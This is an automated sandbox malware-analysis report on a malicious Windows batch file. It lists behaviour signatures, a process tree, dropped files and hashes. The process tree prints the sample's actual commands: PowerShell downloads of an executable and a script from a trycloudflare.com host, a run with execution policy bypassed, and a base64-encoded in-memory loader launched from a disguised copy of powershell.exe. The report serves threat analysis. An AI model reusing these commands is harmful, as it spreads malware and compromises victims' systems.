Analysis

  • max time kernel
    94s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 11:27

General

  • Target

    run_script.bat

  • Size

    8KB

  • MD5

    2efffa15097ea8c880a10b0fea32054e

  • SHA1

    f3e247d6aa4a2da2776a527e5ff7251576c1b260

  • SHA256

    ddf7f8e12308ee481e883416af7cc1a19e7ce5feee7a69b3267f9d40480fe7b6

  • SHA512

    caa107de8dd85690f576f01b69095f659465d6f7de8d079b06bb23dbf01c95e7e10d857535af2a523e42c8b6e775a8e819bb0413aa6a6b3c38c19f7ffcf88e76

  • SSDEEP

    192:CincTy8G+hpQyuPmhDGEhtKCDw16/zbq/Z/+Hz6XlNnGwzA84q7YmvqMA0b:gTYcpQyuPmhDGEhtKCVa/k+vnGUA84yR

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\run_script.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://visits-marie-dial-feet.trycloudflare.com/test/RunHiddenConsole.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\MyHiddenScript\RunHiddenConsole.exe'"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://visits-marie-dial-feet.trycloudflare.com/test/RunHiddenConsole.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\MyHiddenScript\RunHiddenConsole.exe'"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1836
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://visits-marie-dial-feet.trycloudflare.com/test/download_and_run.ps1' -OutFile 'C:\Users\Admin\AppData\Local\Temp\MyHiddenScript\download_and_run.ps1'"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://visits-marie-dial-feet.trycloudflare.com/test/download_and_run.ps1' -OutFile 'C:\Users\Admin\AppData\Local\Temp\MyHiddenScript\download_and_run.ps1'"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4500
    • C:\Users\Admin\AppData\Local\Temp\MyHiddenScript\RunHiddenConsole.exe
      "C:\Users\Admin\AppData\Local\Temp\MyHiddenScript\RunHiddenConsole.exe" powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\MyHiddenScript\download_and_run.ps1"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1816
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\MyHiddenScript\download_and_run.ps1
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5052
        • C:\Windows\system32\wscript.exe
          "C:\Windows\system32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\reconstructed_script.vbs"
          4⤵
          • Checks computer location settings
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:3544
          • C:\Users\Admin\AppData\Local\Temp\reconstructed_script.vbs.exe
            "C:\Users\Admin\AppData\Local\Temp\reconstructed_script.vbs.exe" -enc JABHAGwAYgBiAHcAZgBoAGkAZAB2AGEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQATQB4AGQAZwB0AHIAagB1AGMAYwBjACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQARwBsAGIAYgB3AGYAaABpAGQAdgBhACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFEAbABxAGkAaQBjAHIAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAE0AeABkAGcAdAByAGoAdQBjAGMAYwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVwBoAGoAbAB2AHQAYQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABRAGwAcQBpAGkAYwByAHQAbwAgACkAOwAkAE4AYgBtAHEAZwBrAGkAdgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQATABoAGQAaABoAGwAdgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABXAGgAagBsAHYAdABhAHQALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAEwAaABkAGgAaABsAHYALgBDAG8AcAB5AFQAbwAoACAAJABOAGIAbQBxAGcAawBpAHYAIAApADsAJABMAGgAZABoAGgAbAB2AC4AQwBsAG8AcwBlACgAKQA7ACQAVwBoAGoAbAB2AHQAYQB0AC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAUQBsAHEAaQBpAGMAcgB0AG8AIAA9ACAAJABOAGIAbQBxAGcAawBpAHYALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFEAbABxAGkAaQBjAHIAdABvACkAOwAgACQAUwBuAGEAdgBxAHgAdAB2ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAUQBsAHEAaQBpAGMAcgB0AG8AKQA7ACAAJABMAGsAaABvAHoAZABmAHEAcQB6AGsAIAA9ACAAJABTAG4AYQB2AHEAeAB0AHYALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABMAGsAaABvAHoAZABmAHEAcQB6AGsALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEwAawBoAG8AegBkAGYAcQBxAHoAawAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3112
  • C:\Windows\system32\cmd.exe
    cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\reconstructed_script.vbs.exe" /Y
    1⤵
    • Process spawned unexpected child process
    PID:4632

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    19KB

    MD5

    0ff0a78b0521dfc375c4d78525b8f265

    SHA1

    c5d6bc71f293c137af7aad17f950cbc59da2abb8

    SHA256

    5e5af018d697b29c49202462dfc0c41f4d46c340ca3a00cb987e55a6b04ad531

    SHA512

    9740c28c5f09e2ebe5ef825dabe91af6868e0a0d612064cc1a43936f5d87d3452e35ce87d7f5a0887c142e53e04d1d8462744322a13577aff83d0b4f55171d70

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    7ab00d2b8ad3a0a8426f6a535086b700

    SHA1

    5b912f4345328372093354ff2ba6a932fef4a8ab

    SHA256

    cc27d1633ff5a4401c75569e6cd8f98e7ab09f01b8dfb0399f82efe197e0ca0c

    SHA512

    839e5fbdcc406cee2f37a156ccbb772a80a0231508a7925f95e162990b31ea8366442fcd6073c9035905b47a34d60a3434cc776babf9d49521663b8d3e400584

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    d8356d1901292ab1c540c91fc5a566e1

    SHA1

    43f7ebcae8fd258f2e704dceea5d279e228469de

    SHA256

    90af996df16e4574d32f3bd46cdedef8d4c8b2595accbb224b411320068bb7b9

    SHA512

    e54b149b66a89a736aa9f626358077072941eb210e220e6fe4550be1d124b0c28d2c5c1726ce3ef45e38a280567df3235555773a84a2d1e1e463582c2c1a366e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a9725150c8400bf8023c6671a37eb561

    SHA1

    4cd6ddf574e66e050bcff972c4fa589a5681d489

    SHA256

    4b732ad5f05c545c9b5dab1ede2a28a905420916e959adf134883472d6549849

    SHA512

    add22f987e004d6a69be0e7f295ae9af797e3506755e32e11b6f01de8b2a551a28b174f0a04fb18afa671060638b533b7de944cd69056999e223cda6da91a45f

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ecfad053723f0fcfa5277e7f671671ac

    SHA1

    5cae19229a7a728cc4906ef4d7dedf518922cbad

    SHA256

    04b65887a9f0eefb8ec5b26bf1db84cd2296ca1a567c02ebaab1e3e8b660db6a

    SHA512

    319840d9b514b3f43e79cf3fe18b87e3e3478eceed8a7c27253f4a864e43fda2c49231284219e86bd4975b61c971fc60856eed8f7314e398b88798feeef71554

  • C:\Users\Admin\AppData\Local\Temp\MyHiddenScript\RunHiddenConsole.exe

    MD5

    d41d8cd98f00b204e9800998ecf8427e

    SHA1

    da39a3ee5e6b4b0d3255bfef95601890afd80709

    SHA256

    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

    SHA512

    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

  • C:\Users\Admin\AppData\Local\Temp\MyHiddenScript\RunHiddenConsole.exe

    Filesize

    32KB

    MD5

    e897cfb1731bc4c02fbd563788ce1275

    SHA1

    74645248152ed5c29a80da620cb7d2707f5dc3c8

    SHA256

    4ae7b909888f9609760754e021f4277680f915d8bd56207b9e589bf4314ebdaf

    SHA512

    2f3249747a16d9c72bfcc4abc8e4bb49940350b38fec45971d2b6092299ca6ba8ebb8b12d92e67c0de33298dca3d977f5f1e4d83fb391bd09ffeda69b351647e

  • C:\Users\Admin\AppData\Local\Temp\MyHiddenScript\download_and_run.ps1

    Filesize

    3KB

    MD5

    d3bdd166f49c5b37636eb5b6b4993a4c

    SHA1

    b88e949bd3da41e95c53e4bacbeb80eebedf7c84

    SHA256

    12828ef571dd470d640d01d43d6633ca26451363fbb051b229b1fcd607ffabd3

    SHA512

    5b393fd5fa94ca832ef337aca23f446a3166526dd6dfd9c885b9995424cf37e0494de98ef3755cf3ea97dcf99b7cc6652f685396cfd2751b8d1837c06e19e304

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wow5m3lp.dx5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\reconstructed_script.vbs

    Filesize

    2.7MB

    MD5

    84c74bd0c10be16a52e54848ffa7f34d

    SHA1

    2eec57a1371c9bfbf69c9bbb265cfe2371338cfc

    SHA256

    30b571975bdf3155e07ce09bccac43f7dad05ed7ac8fba5de86d2d07dfd5bece

    SHA512

    5c8deaf26c3af928b2d284affffdd60d95ee67998f97b46d4ca004d1d4fa86a64d586574eebb6274e3ed46e035cd02303df940d194ac0010dc4ae5da90a15e69

  • C:\Users\Admin\AppData\Local\Temp\reconstructed_script.vbs

    Filesize

    500KB

    MD5

    f1ca0c7256a310623187a8a12afc0d69

    SHA1

    6c8d587f756b9ecdfec1e4ac2fca23669fe54a55

    SHA256

    fcfd5a286406b4b7890106cd0f477c54c82e33adad15da91e7c69ab58d671b3f

    SHA512

    e947d90e1fde8118da7f807d52f9c9b3a013a84785c327ac311c481e25e2aaf986fafde3ad7ad80350e2085cad420ea0b9325b9e0e2c75e3843acea7ee1bad2d

  • C:\Users\Admin\AppData\Local\Temp\reconstructed_script.vbs.exe

    Filesize

    423KB

    MD5

    c32ca4acfcc635ec1ea6ed8a34df5fac

    SHA1

    f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

    SHA256

    73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

    SHA512

    6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

  • memory/1836-19-0x00007FFFA5FC0000-0x00007FFFA6A81000-memory.dmp

    Filesize

    10.8MB

  • memory/1836-34-0x00007FFFA5FC0000-0x00007FFFA6A81000-memory.dmp

    Filesize

    10.8MB

  • memory/1836-29-0x00007FFFA5FC0000-0x00007FFFA6A81000-memory.dmp

    Filesize

    10.8MB

  • memory/1836-18-0x00007FFFA5FC0000-0x00007FFFA6A81000-memory.dmp

    Filesize

    10.8MB

  • memory/3112-124-0x00000000057B0000-0x0000000005B04000-memory.dmp

    Filesize

    3.3MB

  • memory/3112-114-0x0000000005580000-0x00000000055E6000-memory.dmp

    Filesize

    408KB

  • memory/3112-131-0x0000000008200000-0x000000000887A000-memory.dmp

    Filesize

    6.5MB

  • memory/3112-130-0x00000000075D0000-0x0000000007B74000-memory.dmp

    Filesize

    5.6MB

  • memory/3112-129-0x0000000006FF0000-0x0000000007012000-memory.dmp

    Filesize

    136KB

  • memory/3112-110-0x0000000002810000-0x0000000002846000-memory.dmp

    Filesize

    216KB

  • memory/3112-111-0x0000000004EE0000-0x0000000005508000-memory.dmp

    Filesize

    6.2MB

  • memory/3112-112-0x0000000004E40000-0x0000000004E62000-memory.dmp

    Filesize

    136KB

  • memory/3112-113-0x0000000005510000-0x0000000005576000-memory.dmp

    Filesize

    408KB

  • memory/3112-128-0x0000000006EE0000-0x0000000006EFA000-memory.dmp

    Filesize

    104KB

  • memory/3112-127-0x0000000006F50000-0x0000000006FE6000-memory.dmp

    Filesize

    600KB

  • memory/3112-125-0x0000000005DE0000-0x0000000005DFE000-memory.dmp

    Filesize

    120KB

  • memory/3112-126-0x0000000005E30000-0x0000000005E7C000-memory.dmp

    Filesize

    304KB

  • memory/4704-0-0x00007FFFA5FC3000-0x00007FFFA5FC5000-memory.dmp

    Filesize

    8KB

  • memory/4704-11-0x00007FFFA5FC0000-0x00007FFFA6A81000-memory.dmp

    Filesize

    10.8MB

  • memory/4704-12-0x00007FFFA5FC0000-0x00007FFFA6A81000-memory.dmp

    Filesize

    10.8MB

  • memory/4704-16-0x00007FFFA5FC0000-0x00007FFFA6A81000-memory.dmp

    Filesize

    10.8MB

  • memory/4704-6-0x0000029933870000-0x0000029933892000-memory.dmp

    Filesize

    136KB

  • memory/5052-74-0x000002747CA90000-0x000002747CC52000-memory.dmp

    Filesize

    1.8MB